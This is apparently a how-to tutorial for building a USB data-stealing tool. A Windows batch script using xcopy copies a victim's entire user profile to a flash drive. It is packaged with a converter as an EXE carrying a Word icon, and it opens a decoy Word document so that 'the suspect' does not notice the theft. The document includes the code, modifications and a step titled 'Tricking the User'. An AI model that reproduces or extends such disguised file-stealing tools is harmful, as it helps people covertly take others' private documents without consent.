Step 1: Necessary Things.
Good. Now that I've warned you, lets see what we will need.
1 - A flash drive or other removable media.
2 - A code editor. The default Notepad in Windows works well.
3 - Windows 2000 and Up
4 - Microsoft Office Word icon.
5 - A document
6 - Bat to EXE Converter (Link Provided Below)
7 - The suspect must have microsoft office Word. Who doesn't have it these days?
NOTE: This works on Windows only. No Linux or Mac.
Step 2: The Code
set backupcmd=xcopy /s /c /d /e /h /i /r /y
%backupcmd% "%USERPROFILE%\pictures" "%drive%\all\My pics"
%backupcmd% "%USERPROFILE%\Favorites" "%drive%\all\Favorites"
%backupcmd% "%USERPROFILE%\videos" "%drive%\all\vids"
(credits to bigdaddyclint)
Step 3: The Mods
Since I want my program to copy all of the Documents of the user, I will erase the two lines that copy the Favorites and Videos. We will change the line that copies the Pictures so that it copies the documents. To do this, replace %USERPROFILE%\pictures with %USERPROFILE%
MOD 2) In the original code, bigdaddyclint made it save everything to one folder called "all". We will keep that folder but organize it a bit by telling the program to make a folder with the computer's name. This way, you don't have files all over the "all" folder. To do this, replace %drive%\all\My pics with %drive%\all\%computername%\documents
MOD 3) The original code told the program to copy hidden files and folders. This might take a lot of space up because of the "AppData" folder. We will change this so it only copies non-hidden files and folders. To do this, We will erase the /h
in the line set backupcmd=xcopy /s /c /d /e /h /i /r /y
MOD 4) Since I want my friends to run this because Autorun does not work on flash drives, We will make the code open a Word document right before the copying begins. To do this, we will add this: start (document name here).doc/docx before this: %backupcmd% "%USERPROFILE%" "%drive%\all\%computername%\Documents
MOD 5) Last change in the code. Instead of having three files for this to run, we will use Bat to EXE converter to package it into a nice little EXE file.
Step 4: Final Code
set backupcmd=xcopy /s /c /d /e /i /r /y
%backupcmd% "%USERPROFILE%" "%drive%\all\%computername%\Documents"
You could copy more files. This is just some basic mods.
Step 5: Tricking the User
Step 6: Finish!
Credits to bigdaddyclint for original instructable and code!